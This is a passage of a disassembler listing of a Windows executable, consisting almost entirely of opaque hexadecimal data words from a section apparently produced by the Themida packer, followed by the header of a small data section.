		dd 0F8Ah, 0AE900h, 0CC5B0000h, 0B2641AC4h, 47791659h, 7E9h
		dd 0E8DC6900h, 416102F9h, 8B0FF861h, 0Fh, 6E8h,	0AEEE0800h
		dd 66802C9Dh, 605EFE8Bh, 10E9h,	6650DD00h, 2D8FD053h, 8E07AEB8h
		dd 0D52F4BE8h, 0F2BF6639h, 6E9617Ch, 27000000h,	3C5482FCh
		dd 10E9E7h, 6E310000h, 0A4D530A7h, 0E87E2E3Eh, 9B81A15Bh
		dd 820FC0F1h, 3, 0FFAB70Fh, 580h, 0D8816600h, 0D381A981h
		dd 6185B39Ah, 0FE9h, 32943F00h,	5F15FF7Bh, 0B1717C0Dh
		dd 0AD3967F5h, 526054B0h, 0E0C28166h, 870F5987h, 0
		dd 8E861h, 52D20000h, 0FB4ED10Dh, 59F9C699h, 0FCA8B66h
		dd 8Bh,	0BFC88B00h, 357A973Dh, 3A47B866h, 0BB66ADB6h, 0FB8BFD13h
		dd 4ADA8151h, 5B14F8C0h, 8F0F5F52h, 12h, 0DE9h,	0FE686400h
		dd 77B20230h, 7F8ACA36h, 8F0F339Dh, 12h, 9E8h, 0E6029C00h
		dd 0AD7FDA63h, 8B66D31Ah, 60565BD6h, 0FE9h, 0EA97F200h
		dd 5B85A605h, 6F746E6Ch, 28E2377Dh, 6103CF80h, 8DF3805Eh
		dd 3DD349BBh, 0BE666036h, 0BB66EF34h, 0BA61958Dh, 577B15B1h
		dd 14E952h, 89830000h, 8B6269B0h, 0FADC1301h, 35B0E566h
		dd 0CA5FDCE6h
		db 69h,	84h, 59h
byte_5D4D5B	db 81h			; DATA XREF: ___:off_43162Co
		dd 0FE3B77CAh, 0DB7AB96Eh, 11E94060h, 0CF000000h, 0F5BC494Eh
		dd 0EC00CA84h, 9E521DAFh, 0BE5A9917h, 7E8F9h, 4BA0000h
		dd 146BE337h, 5FD88BCCh, 0BF0FDCB7h, 4BB866FAh,	0BB39B7DCh
		dd 78CC7092h, 0E130D081h, 0E9F56DD1h, 14h, 2E7F4525h, 2C4153ADh
		dd 0CCCF7AC4h, 0E252F918h, 5937CAF5h, 0CE9h, 877BDA00h
		dd 0C9766C23h, 0A4192B45h, 0DE982h, 0CD270000h,	8AFFAA1Eh
		dd 6BEC7C92h, 66F23BEFh, 0B7CF7AB8h, 4800F9Ch, 66000000h
		dd 571118BEh, 0AE2AF681h, 0BB5F03B9h, 511D6BAFh, 8B66F8FCh
		dd 7E9D0h, 3ED50000h, 0FA788A6Dh, 66CA8B0Ah, 0B966F98Bh
		dd 6650000Bh, 0F85FF28Bh, 1E8B0Fh, 12E80000h, 0DF000000h
		dd 3507BB53h, 475AC8A3h, 2026003h, 0BF0FA95Ch, 0EEEB8121h
		dd 580B8867h, 7890Fh, 66530000h, 3027C981h, 50B6B05Fh
		dd 3D42E681h, 0F5E2C57h, 0B70FD6BFh, 0DDC780C0h, 9E9h
		dd 88B99900h, 46BB64E9h, 81B387C8h, 12E9F78Ah, 0B0000000h
		dd 76A83BBDh, 8906D31Dh, 838A46DDh, 4BDE59EAh, 3830F15h
		dd 0F000000h, 0AE9D0B7h, 4E000000h, 10D96277h, 3A8E095Bh
		dd 49BE663Ah, 8E94Ah, 23B00000h, 2D75FE27h, 8160C876h
		dd 0A07A2AC3h, 0D3BF0F7Eh, 8BF5F961h, 0F243BEDFh, 80FC2099h
		dd 816649DAh, 0FF4A4E3h, 8Ah, 5F8BBA00h, 810F5E34h, 4
		dd 21D1BB66h, 0C8816660h, 60611280h, 0E8D78B66h, 5, 42EBEB12h
		dd 870FD2h, 5A000000h, 7DE08061h, 945D99BFh, 0CE96Bh, 0CEEB0000h
		dd 1C1EA7DCh, 846FBDDh,	0E18A4FDDh, 0B421BE66h,	0E8C78B66h
		dd 12h,	92EF8CCDh, 0A9D423AFh, 0B357B0D7h, 0AD442F54h
		dd 0EC80EF81h, 0BE959AFh, 0AB000000h, 582F3846h, 4FAF4E5Dh
		dd 0CB80577Dh, 2F080DFh, 7E9h, 7A099F00h, 0C52A2552h, 0FECB26BEh
		dd 0DE8B6615h, 188F0F57h, 0E9000000h, 13h, 0C48D54D9h
		dd 0E3B4AAC5h, 0DE0D6196h, 0DC99C157h, 5B1A3EF8h, 8CE8166h
		dd 804FB021h, 0F600CF5h, 484h, 3AB96600h, 6E831h, 8B260000h
		dd 73594925h, 615E6160h, 12E8h,	0E0F09900h, 0AA19B938h
		dd 0CCF0F590h, 3025A0CBh, 0B9F061C3h, 49133150h, 13E95Bh
		dd 0A1190000h, 0F8EEAA57h, 70374B50h, 0DAC72D6Ch, 333106CBh
		dd 0E8EA8138h, 66495E59h, 0DB81D08Bh, 53CB3D46h, 8E9h
		dd 0EA4BE500h, 785661F1h, 6E9B6h, 64ED0000h, 77C35E3Fh
		dd 4FD78166h, 0F0816689h, 830F24BEh, 6,	8B66FC60h, 66F561CAh
		dd 1B96EE81h, 890FF5F5h, 0
		dd 0D936C381h, 0B1FC5AE9h, 14E9F515h, 0D3000000h, 2D70FEA8h
		dd 0D9858CC3h, 977F4471h, 63BB2F91h, 0E93C2C19h, 0Bh, 4C0FA015h
		dd 9BE3278Eh, 662E94FBh, 0E9D17BBFh, 0Ah, 7112863Ch, 112B5DCFh
		dd 0DA805929h, 1F59BF73h, 10E91ABFh, 0C5000000h, 0FF8EB447h
		dd 269908Eh, 74895F71h,	0F988D60h, 89h,	6E800h,	93450000h
		dd 418779D6h, 585A5750h, 0B8C68A5Ah, 7E760AA5h,	0E9EF8166h
		dd 0DE9DCh, 59B90000h, 0A42D8383h, 0D25A0556h, 0BE8061B3h
		dd 1319F94Ah, 9E9h, 291E2A00h, 9D451378h, 8B664071h, 0DBB866CBh
		dd 95D7BFE6h, 0CE93426h, 0E0000000h, 0AC450039h, 0AB6F729Bh
		dd 66AB9749h, 8B48BCBBh, 0FE8F7h, 0DBD70000h, 22E07A47h
		dd 0D6C10AF5h, 3E3D4F6Fh, 0BDBF6605h, 0E78A5EDDh, 0F50D18Bh
		dd 28Ah, 5E595000h, 4A785CBAh, 3DBB6672h, 12EB813Bh, 8B140297h
		dd 0CA8B66F2h, 8B60CB8Bh, 8F0F61DAh, 1,	0D80B8F5h, 66FC6310h
		dd 0E90803B9h, 13h, 0B36335C7h,	0DEF44E80h, 89431738h
		dd 66644E70h, 0F0F7EBFh, 138Ch,	0D8D0F00h, 0E9000000h
		dd 8, 0C2D7DB87h, 4AB7CED4h, 5AEB8166h,	0C2BF0F46h, 168B0Fh
		dd 11E90000h, 0D3000000h, 0D6AF5FA7h, 0E06071BDh, 0FC3F688h
		dd 0E2A608A9h, 0E0D9F381h, 0FF55BD3h, 8B66C6BFh, 0C18166F0h
		dd 850F8A47h, 2, 0F18BD88Bh, 0EE9h, 80415F00h, 0F1B7FBCCh
		dd 0AE441AA4h, 663BC49Bh, 0F449CBAh, 128Fh, 0AE800h, 8C6A0000h
		dd 4E977602h, 0E7E567E1h, 565FA8B2h, 9E8h, 2B1DBE00h, 47763251h
		dd 0B70F27EFh, 0B05E59F9h, 66D38AB6h, 5E8D38Bh,	0BD000000h
		dd 0C9000D9Bh, 5AC0BF0Fh, 8D0FCB8Ah, 3,	0B9FB8B66h, 6709E5DCh
		dd 0FCA8B66h, 88Bh, 28E0F00h, 8A000000h, 11E9C3h, 87520000h
		dd 0EF54F3D0h, 533DE28Ah, 626B8111h, 80E1EE05h,	0B966B5DEh
		dd 60608837h, 0FD98B66h, 8Fh, 0DDBF6100h, 61359965h, 0FC28B66h
		dd 0E956F0BFh, 12h, 44830CEBh, 2658D2B1h, 8DD4974Ch, 74D38B44h
		dd 665F51F2h, 0BE2ED9B8h, 3EEB90F3h, 0DE8h, 57A08D00h
		dd 198F7C23h, 0DC76D9B0h, 7E8480Fh, 0DF000000h,	0BE261A9Eh
		dd 0BF66AB8Fh, 5F5A478Bh, 0BE8EE8Ah, 33000000h,	930DD417h
		dd 650B1DDEh, 0E78AB652h, 0DE95Ah, 0F2290000h, 440122F4h
		dd 2F37200Fh, 66221981h, 0E94E20BAh, 5,	0F3D9D7D8h, 73D8818Fh
		dd 0F02D4B4h, 850FF1B7h, 3, 80D3BF0Fh, 0CE8135D4h, 415BB8B1h
		dd 0E2B750B0h, 0EE9h, 3ADF6E00h, 441851F1h, 0FE5795B4h
		dd 80C74E25h, 38B50AE8h, 0BE9h,	1DA0500h, 85418ACCh, 1969097Ch
		dd 0FE9h, 5B543F00h, 3A33CB7Dh,	0F87FBFEDh, 95CB1F4Bh
		dd 0A9B4DE8Bh, 57FFB70Fh, 0AE9h, 1FE0ED00h, 96CACA76h
		dd 5A25B8FAh, 46B76050h, 61CE8B66h, 0E9A9B55Fh,	0Bh, 3287053h
		dd 1B327493h, 0F547711Ah, 14E9h, 0E1045C00h, 86EE903Dh
		dd 0F4BDEB6Ch, 6320FBC7h, 0F5A719ACh, 0C88166FDh, 5760D9DAh
		dd 5FFEB70Fh, 0CE8h, 0F9F49F00h, 7C14DBB6h, 813EA10Eh
		dd 75BF669Ah, 8B6159AFh, 8BFE8BF1h, 71BE66D3h, 0BBBEB082h
		dd 301AC957h, 1589BF66h, 8F8F6DBBh, 0FF28B02h, 284h, 60C78B00h
		dd 10E8h, 24C46600h, 188F95DCh,	0B15EFD22h, 0EDD5EB24h
		dd 71E681E0h, 5B11529Bh, 910C96BFh, 8A60613Eh, 61D18BEEh
		dd 0D6B65756h, 8CB55A5Fh, 0E9E8DC80h, 6, 2C2638D7h, 0CE871A3h
		dd 6000000h, 60FAAEB5h,	0B1254393h, 599EB3C1h, 0FEE8166h
		dd 0FCE18123h, 803BC8ADh, 0DE96AE6h, 0E4000000h, 0A86946BAh
		dd 0B29A3A4h, 0C93DD0F1h, 3850Fh, 0BF0F0000h, 0CB8BF5CFh
		dd 12E9h, 0D4E6BD00h, 0AC4BC82h, 0EF3B6A1Ah, 4005F44Bh
		dd 0E9D7EAF9h, 7, 29B6C709h, 0FC82480h,	58Fh, 0E0805000h
		dd 0EE95BCAh, 0F6000000h, 5213AF42h, 70C56A64h,	0C97A964Ah
		dd 0EBE980F1h, 8E960h, 9E7B0000h, 3236C5Eh, 0B8664ADCh
		dd 0BE61D6ABh, 57D7C019h, 0E9CBBF0Fh, 0Fh, 727EF89Ch, 5FE38BB4h
		dd 0C1BC55CBh, 0F394290h, 800FF0B7h, 0
		dd 0AE9h, 6B224600h, 0DFD34495h, 0E8A9BA09h, 6,	0DC1662E2h
		dd 59F81C2Fh, 48B0Fh, 0BA660000h, 14E8D9D5h, 50000000h
		dd 1C1D0938h, 6F4F318Ah, 0E2868CAEh, 0A597F3E1h, 0E95AA88Fh
		dd 0Eh,	528905CFh, 0FB828D52h, 0FEFBF5Dh, 53598525h, 0F616060h
		dd 5E61F2B7h, 12E8h, 0CE8B1100h, 847790BCh, 3D44BFCCh
		dd 0E271CFD5h, 0B67C7D52h, 8B665BF1h, 66BAB1D9h, 0E89AE0BBh
		dd 0Dh,	9BCD5292h, 9296123Dh, 0BB304D90h, 860F5E02h, 0Ah
		dd 8D0F60h, 8A000000h, 9CB661F4h, 11E9h, 1C77B800h, 84C67EE4h
		dd 0D151686Dh, 1BC1C92Ah, 0CA8122C3h, 4F11E60Fh, 9BCAD981h
		dd 0AE9638Dh, 6B000000h, 0B1611256h, 6C4275C5h,	0E9505627h
		dd 8, 0E96AE032h, 0C25D8436h, 8B665B5Fh, 0B8B0FCAh, 0E9000000h
		dd 6, 0AFA577B7h, 0FB8B63BCh, 2BB96FB0h, 6662B08Ah, 0C340C781h
		dd 1AA5E881h, 0E857397Fh, 0Ch, 4DB61353h, 0F7C00186h, 97392105h
		dd 84F99AB9h, 665F5E44h, 0EC80FB8Bh, 0BB67B3E1h, 2661D4E4h
		dd 2880F60h, 8A000000h,	9E9DAh,	0EA5E0000h, 62DB9416h
		dd 61E21ED5h, 0ADC580F9h, 11FBF381h, 6E9779Fh, 0BE000000h
		dd 0F2494C20h, 6E9D4h, 39A50000h, 0C76CE2D3h, 0FE8h, 7C913200h
		dd 0E87F2F95h, 66982142h, 7905FFEBh, 0F58E1B3h,	8B66DFB7h
		dd 6671B6F7h, 6548EE81h, 8166CB8Bh, 0B8C9D8D3h,	213715ACh
		dd 3982C181h, 850F0E63h, 0
		dd 12E8h, 0BD8FE000h, 8154FDB0h, 4E3C6DD0h, 12BC30F8h
		dd 8078557Fh, 0E95A3FD8h, 8, 1FF6EC19h,	0A60A48CCh, 0B8C88B66h
		dd 1F8E7EC3h, 66C1BF0Fh, 0BF66CA8Bh, 9E92BABh, 0BE000000h
		dd 0B636FBEDh, 0EC647C4Ah, 36E38166h, 7E9BDh, 71460000h
		dd 2D2B69DBh, 6810FDCh,	81000000h, 0C56ECAE2h, 0EEC5804Fh
		dd 8BD78B66h, 0EF8166D3h, 0FCF58AB9h, 66F5CF8Bh, 4816C181h
		dd 0E8F7B70Fh, 10h, 766C2387h, 192B45C9h, 676C82A4h, 2EF93C46h
		dd 0DE95Fh, 401A0000h, 4530B784h, 6D2A5D9Ch, 0F53263FEh
		dd 11E8h, 0F86AD900h, 0F8299E0Ch, 39361445h, 0E26EA8Eh
		dd 0F960FEABh, 96E4C281h, 59613B5Fh, 1A2BDB81h,	0FFC5C41h
		dd 82h,	0DA8BF900h, 4F4EDF81h, 5E94350h, 0A2000000h, 9131C54h
		dd 6B4ECA81h, 0EE94A57h, 0B000000h, 6950E671h, 4E9626C2h
		dd 29D05D32h, 0CFBF0F2Ah, 830Fh, 0C78B0000h, 0DE8BCA8Ah
		dd 14E9h, 0BE18FB00h, 3AAA6B09h, 39A0CF9Eh, 1085AD40h
		dd 4FDA1357h, 60D18B7Eh, 0B0F08166h, 3E38092h, 11E961h
		dd 296C0000h, 6487E6AEh, 0C927A49h, 0CECC0538h,	8AF2183Fh
		dd 0FEBF0FE7h, 0D0816657h, 6659DFD6h, 6E9C78Bh,	5F000000h
		dd 2D5FF539h, 0EE9FC08h, 55000000h, 60565972h, 7656E5Fh
		dd 7EF6CD0Fh, 0F9BBB7E0h, 8E9h,	0B56DAB00h, 9CBF54C3h
		dd 0FC38BDFh, 9E9D8BFh,	0F000000h, 0C35979A0h, 0B1D3F618h
		dd 0FE8C380h, 784h, 4EBB5200h, 5A1B2EEEh, 66F9BF0Fh, 0F9808BBh
		dd 384h, 0C28B6600h, 0A2F1B966h, 12E8h,	3029C600h, 0D0391007h
		dd 969D48B5h, 0CC3466ABh, 0B0208ECFh, 59515F70h, 8E9h
		dd 0C58FF800h, 0C3801E03h, 41A76AB1h, 284h dup(41A76A22h)
		dd 0C5A76A22h, 11Eh dup(0BBC2B209h), 47C2B209h,	327h dup(47E36A6Ch)
		db 6Ch,	6Ah
word_5D738E	dw 47E3h		; DATA XREF: Themida_:0054E610o
		dd 0E3866A6Ch, 2Eh dup(0E3864B32h), 724E4B32h, 82h dup(724ECF7Bh)
		dd 1C4ECF7Bh, 0FBh dup(1CBFE819h), 11321119h, 285h dup(11321161h)
		dd 8FFh	dup(0CCCCCCCCh), 0CCh, 1E8h dup(0)
Themida_	ends

; Section 5. (virtual address 001DB000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001DB000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5DB000h
		align 2000h
_idata2		ends


		end start